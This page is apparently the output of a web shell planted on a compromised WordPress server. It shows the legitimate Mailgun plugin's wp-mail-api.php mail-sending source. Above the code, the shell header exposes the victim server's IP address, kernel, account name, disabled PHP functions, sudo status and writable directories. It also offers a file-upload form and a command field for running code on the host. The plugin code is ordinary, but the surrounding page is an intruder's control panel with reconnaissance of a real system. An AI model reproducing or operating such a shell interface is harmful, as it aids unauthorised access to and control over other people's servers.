403Webshell
Server IP : 199.250.200.62  /  Your IP : 216.73.216.68
Web Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/jasonp18/www/wp-content/plugins/mailgun/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jasonp18/www/wp-content/plugins/mailgun/includes/wp-mail-api.php
<?php

/*
 * mailgun-wordpress-plugin - Sending mail from Wordpress using Mailgun
 * Copyright (C) 2016 Mailgun, et al.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

// Include MG filter functions
if (!include __DIR__ . '/mg-filter.php') {
    (new Mailgun)->deactivate_and_die(__DIR__ . '/mg-filter.php');
}

/**
 * mg_api_last_error is a compound getter/setter for the last error that was
 * encountered during a Mailgun API call.
 *
 * @param string $error OPTIONAL
 *
 * @return    string    Last error that occurred.
 *
 * @since    1.5.0
 */
function mg_api_last_error($error = null)
{
    static $last_error;

    if (null === $error) {
        return $last_error;
    }

    do_action('mailgun_error_track', $error);
    $tmp = $last_error;
    $last_error = $error;

    return $tmp;
}

/*
 * Wordpress filter to mutate a `To` header to use recipient variables.
 * Uses the `mg_use_recipient_vars_syntax` filter to apply the actual
 * change. Otherwise, just a list of `To` addresses will be returned.
 *
 * @param string|array $to_addrs Array or comma-separated list of email addresses to mutate.
 *
 * @return array Array containing list of `To` addresses and recipient vars array
 *
 * @since 1.5.7
 */
add_filter('mg_mutate_to_rcpt_vars', 'mg_mutate_to_rcpt_vars_cb');
function mg_mutate_to_rcpt_vars_cb($to_addrs)
{
    if (is_string($to_addrs)) {
        $to_addrs = explode(',', $to_addrs);
    }

    if (has_filter('mg_use_recipient_vars_syntax')) {
        $use_rcpt_vars = apply_filters('mg_use_recipient_vars_syntax', null);
        if ($use_rcpt_vars) {

            $idx = 0;
            foreach ($to_addrs as $addr) {
                $rcpt_vars[$addr] = ['batch_msg_id' => $idx];
                $idx++;
            }

            return [
                'to' => '%recipient%',
                'rcpt_vars' => json_encode($rcpt_vars),
            ];
        }
    }

    return [
        'to' => $to_addrs,
        'rcpt_vars' => null,
    ];
}

/**
 * wp_mail function to be loaded in to override the core wp_mail function
 * from wp-includes/pluggable.php.
 *
 * Based off of the core wp_mail function, but with modifications required to
 * send email using the Mailgun HTTP API
 *
 * @param string|array                   $to          Array or comma-separated list of email addresses to send message.
 * @param string                         $subject     Email subject
 * @param string                         $message     Message contents
 * @param string|array                   $headers     Optional. Additional headers.
 * @param string|array                   $attachments Optional. Files to attach.
 *
 * @return    bool    Whether the email contents were sent successfully.
 *
 * @global PHPMailer\PHPMailer\PHPMailer $phpmailer
 *
 */
if (!function_exists('wp_mail')) {
    function wp_mail($to, $subject, $message, $headers = '', $attachments = [])
    {
        $mailgun = get_option('mailgun');
        $region = (defined('MAILGUN_REGION') && MAILGUN_REGION) ? MAILGUN_REGION : $mailgun['region'];
        $apiKey = (defined('MAILGUN_APIKEY') && MAILGUN_APIKEY) ? MAILGUN_APIKEY : $mailgun['apiKey'];
        $domain = (defined('MAILGUN_DOMAIN') && MAILGUN_DOMAIN) ? MAILGUN_DOMAIN : $mailgun['domain'];

        if (empty($apiKey) || empty($domain)) {
            return false;
        }

        // If a region is not set via defines or through the options page, default to US region.
        if (!($region)) {
            error_log('[Mailgun] No region configuration was found! Defaulting to US region.');
            $region = 'us';
        }
        
        // Respect WordPress core filters
        $atts = apply_filters( 'wp_mail', compact( 'to', 'subject', 'message', 'headers', 'attachments' ) );

        if (isset($atts['to'])) {
            $to = $atts['to'];
        }

        if (!is_array($to)) {
            $to = explode(',', $to);
        }

        if (isset($atts['subject'])) {
            $subject = $atts['subject'];
        }

        if (isset($atts['message'])) {
            $message = $atts['message'];
        }

        if (isset($atts['headers'])) {
            $headers = $atts['headers'];
        }

        if (isset($atts['attachments'])) {
            $attachments = $atts['attachments'];
        }

        if (!is_array($attachments)) {
            $attachments = explode("\n", str_replace("\r\n", "\n", $attachments));
        }

        // Headers
        if (empty($headers)) {
            $headers = [];
        } else {
            if (!is_array($headers)) {
                // Explode the headers out, so this function can take both
                // string headers and an array of headers.
                $tempheaders = explode("\n", str_replace("\r\n", "\n", $headers));
            } else {
                $tempheaders = $headers;
            }
            $headers = [];
            $cc = [];
            $bcc = [];

            // If it's actually got contents
            if (!empty($tempheaders)) {
                // Iterate through the raw headers
                foreach ((array)$tempheaders as $header) {
                    if (strpos($header, ':') === false) {
                        if (false !== stripos($header, 'boundary=')) {
                            $parts = preg_split('/boundary=/i', trim($header));
                            $boundary = trim(str_replace(["'", '"'], '', $parts[1]));
                        }
                        continue;
                    }
                    // Explode them out
                    [$name, $content] = explode(':', trim($header), 2);

                    // Cleanup crew
                    $name = trim($name);
                    $content = trim($content);

                    switch (strtolower($name)) {
                        // Mainly for legacy -- process a From: header if it's there
                        case 'from':
                            if (strpos($content, '<') !== false) {
                                $from_name = substr($content, 0, strpos($content, '<') - 1);
                                $from_name = str_replace('"', '', $from_name);
                                $from_name = trim($from_name);

                                $from_email = substr($content, strpos($content, '<') + 1);
                                $from_email = str_replace('>', '', $from_email);
                                $from_email = trim($from_email);
                            } else {
                                $from_email = trim($content);
                            }
                            break;
                        case 'content-type':
                            if (strpos($content, ';') !== false) {
                                [$type, $charset] = explode(';', $content);
                                $content_type = trim($type);
                                if (false !== stripos($charset, 'charset=')) {
                                    $charset = trim(str_replace(['charset=', '"'], '', $charset));
                                } elseif (false !== stripos($charset, 'boundary=')) {
                                    $boundary = trim(str_replace(['BOUNDARY=', 'boundary=', '"'], '', $charset));
                                    $charset = '';
                                }
                            } else {
                                $content_type = trim($content);
                            }
                            break;
                        case 'cc':
                            $cc = array_merge((array)$cc, explode(',', $content));
                            break;
                        case 'bcc':
                            $bcc = array_merge((array)$bcc, explode(',', $content));
                            break;
                        default:
                            // Add it to our grand headers array
                            $headers[trim($name)] = trim($content);
                            break;
                    }
                }
            }
        }

        if (!isset($from_name)) {
            $from_name = null;
        }

        if (!isset($from_email)) {
            $from_email = null;
        }

        $from_name = mg_detect_from_name($from_name);
        $from_email = mg_detect_from_address($from_email);
        $fromString = "{$from_name} <{$from_email}>";

        $body = [
            'from' => $fromString,
            'h:Sender' => $from_email,
            'to' => $to,
            'subject' => $subject,
        ];


        $rcpt_data = apply_filters('mg_mutate_to_rcpt_vars', $to);
        if (!is_null($rcpt_data['rcpt_vars'])) {
            $body['recipient-variables'] = $rcpt_data['rcpt_vars'];
        }

        $body['o:tag'] = [];
        $body['o:tracking-clicks'] = !empty($mailgun['track-clicks']) ? $mailgun['track-clicks'] : 'no';
        $body['o:tracking-opens'] = empty($mailgun['track-opens']) ? 'no' : 'yes';

        // this is the wordpress site tag
        if (isset($mailgun['tag'])) {
            $tags = explode(',', str_replace(' ', '', $mailgun['tag']));
            $body['o:tag'] = $tags;
        }

        // campaign-id now refers to a list of tags which will be appended to the site tag
        if (!empty($mailgun['campaign-id'])) {
            $tags = explode(',', str_replace(' ', '', $mailgun['campaign-id']));
            if (empty($body['o:tag'])) {
                $body['o:tag'] = $tags;
            } elseif (is_array($body['o:tag'])) {
                $body['o:tag'] = array_merge($body['o:tag'], $tags);
            } else {
                $body['o:tag'] .= ',' . implode(',', $tags);
            }
        }

        /**
         * Filter tags.
         *
         * @param array  $tags        Mailgun tags.
         * @param string $to          To address.
         * @param string $subject     Subject line.
         * @param string $message     Message content.
         * @param array  $headers     Headers array.
         * @param array  $attachments Attachments array.
         * @param string $region      Mailgun region.
         * @param string $domain      Mailgun domain.
         *
         * @return array              Mailgun tags.
         */
        $body['o:tag'] = apply_filters('mailgun_tags', $body['o:tag'], $to, $subject, $message, $headers, $attachments, $region, $domain);

        if (!empty($cc) && is_array($cc)) {
            $body['cc'] = implode(', ', $cc);
        }

        if (!empty($bcc) && is_array($bcc)) {
            $body['bcc'] = implode(', ', $bcc);
        }

        // If we are not given a Content-Type in the supplied headers,
        // write the message body to a file and try to determine the mimetype
        // using get_mime_content_type.
        if (!isset($content_type)) {
            $tmppath = tempnam(get_temp_dir(), 'mg');
            $tmp = fopen($tmppath, 'w+');

            fwrite($tmp, $message);
            fclose($tmp);

            $content_type = get_mime_content_type($tmppath, 'text/plain');

            unlink($tmppath);
        }

        // Allow external content type filter to function normally
        if (has_filter('wp_mail_content_type')) {
            $content_type = apply_filters(
                'wp_mail_content_type',
                $content_type
            );
        }

        if ('text/plain' === $content_type) {
            $body['text'] = $message;
        } else if ('text/html' === $content_type) {
            $body['html'] = $message;
        } else {
            $body['text'] = $message;
            $body['html'] = $message;
        }

        // Some plugins, such as WooCommerce (@see WC_Email::handle_multipart()), to handle multipart/alternative with html
        // and plaintext messages hooks into phpmailer_init action to override AltBody property directly in $phpmailer,
        // so we should allow them to do this, and then get overridden plain text body from $phpmailer.
        // Partly, this logic is taken from original wp_mail function.
        if (false !== stripos($content_type, 'multipart')) {
            global $phpmailer;

            // (Re)create it, if it's gone missing.
            if (!($phpmailer instanceof PHPMailer\PHPMailer\PHPMailer)) {
                require_once ABSPATH . WPINC . '/PHPMailer/PHPMailer.php';
                require_once ABSPATH . WPINC . '/PHPMailer/SMTP.php';
                require_once ABSPATH . WPINC . '/PHPMailer/Exception.php';
                $phpmailer = new PHPMailer\PHPMailer\PHPMailer(true);

                $phpmailer::$validator = static function ($email) {
                    return (bool)is_email($email);
                };
            }

            /**
             * Fires after PHPMailer is initialized.
             *
             * @param PHPMailer $phpmailer The PHPMailer instance (passed by reference).
             */
            do_action_ref_array('phpmailer_init', [&$phpmailer]);

            $plainTextMessage = $phpmailer->AltBody;

            if ($plainTextMessage) {
                $body['text'] = $plainTextMessage;
            }
        }

        // If we don't have a charset from the input headers
        if (!isset($charset)) {
            $charset = get_bloginfo('charset');
        }

        // Set the content-type and charset
        $charset = apply_filters('wp_mail_charset', $charset);
        if (isset($headers['Content-Type'])) {
            if (!strstr($headers['Content-Type'], 'charset')) {
                $headers['Content-Type'] = rtrim($headers['Content-Type'], '; ') . "; charset={$charset}";
            }
        }

        // Set custom headers
        if (!empty($headers)) {
            foreach ((array)$headers as $name => $content) {
                $body["h:{$name}"] = $content;
            }
        }

        /*
         * Deconstruct post array and create POST payload.
         * This entire routine is because wp_remote_post does
         * not support files directly.
         */

        $payload = '';

        // First, generate a boundary for the multipart message.
        $boundary = sha1(uniqid('', true));

        // Allow other plugins to apply body changes before creating the payload.
        $body = apply_filters('mg_mutate_message_body', $body);
        if (($body_payload = mg_build_payload_from_body($body, $boundary)) != null) {
            $payload .= $body_payload;
        }

        // Allow other plugins to apply attachment changes before writing to the payload.
        $attachments = apply_filters('mg_mutate_attachments', $attachments);
        if (($attachment_payload = mg_build_attachments_payload($attachments, $boundary)) != null) {
            $payload .= $attachment_payload;
        }

        $payload .= '--' . $boundary . '--';

        $data = [
            'body' => $payload,
            'headers' => [
                'Authorization' => 'Basic ' . base64_encode("api:{$apiKey}"),
                'Content-Type' => 'multipart/form-data; boundary=' . $boundary,
            ],
        ];

        $endpoint = mg_api_get_region($region);
        $endpoint = ($endpoint) ? $endpoint : 'https://api.mailgun.net/v3/';
        $url = $endpoint . "{$domain}/messages";

        // TODO: Mailgun only supports 1000 recipients per request, since we are
        // overriding this function, let's add looping here to handle that
        $response = wp_remote_post($url, $data);
        if (is_wp_error($response)) {
            // Store WP error in last error.
            mg_api_last_error($response->get_error_message());

            return false;
        }

        $response_code = wp_remote_retrieve_response_code($response);
        $response_body = json_decode(wp_remote_retrieve_body($response));

        // Mailgun API should *always* return a `message` field, even when
        // $response_code != 200, so a lack of `message` indicates something
        // is broken.
        if ((int)$response_code != 200 || !isset($response_body->message)) {
            // Store response code and HTTP response message in last error.
            $response_message = wp_remote_retrieve_response_message($response);
            $errmsg = "$response_code - $response_message";
            mg_api_last_error($errmsg);

            return false;
        }

        // Not sure there is any additional checking that needs to be done here, but why not?
        if ($response_body->message !== 'Queued. Thank you.') {
            mg_api_last_error($response_body->message);

            return false;
        }

        return true;
    }
}

function mg_build_payload_from_body($body, $boundary)
{
    $payload = '';

    // Iterate through pre-built params and build payload:
    foreach ($body as $key => $value) {
        if (is_array($value)) {
            $parent_key = $key;
            foreach ($value as $key => $value) {
                $payload .= '--' . $boundary;
                $payload .= "\r\n";
                $payload .= 'Content-Disposition: form-data; name="' . $parent_key . "\"\r\n\r\n";
                $payload .= $value;
                $payload .= "\r\n";
            }
        } else {
            $payload .= '--' . $boundary;
            $payload .= "\r\n";
            $payload .= 'Content-Disposition: form-data; name="' . $key . '"' . "\r\n\r\n";
            $payload .= $value;
            $payload .= "\r\n";
        }
    }

    return $payload;
}

function mg_build_attachments_payload($attachments, $boundary)
{
    $payload = '';

    // If we have attachments, add them to the payload.
    if (!empty($attachments)) {
        $i = 0;
        foreach ($attachments as $attachment) {
            if (!empty($attachment)) {
                $payload .= '--' . $boundary;
                $payload .= "\r\n";
                $payload .= 'Content-Disposition: form-data; name="attachment[' . $i . ']"; filename="' . basename($attachment) . '"' . "\r\n\r\n";
                $payload .= file_get_contents($attachment);
                $payload .= "\r\n";
                $i++;
            }
        }
    } else {
        return null;
    }

    return $payload;
}

Youez - 2016 - github.com/yon3zu
LinuXploit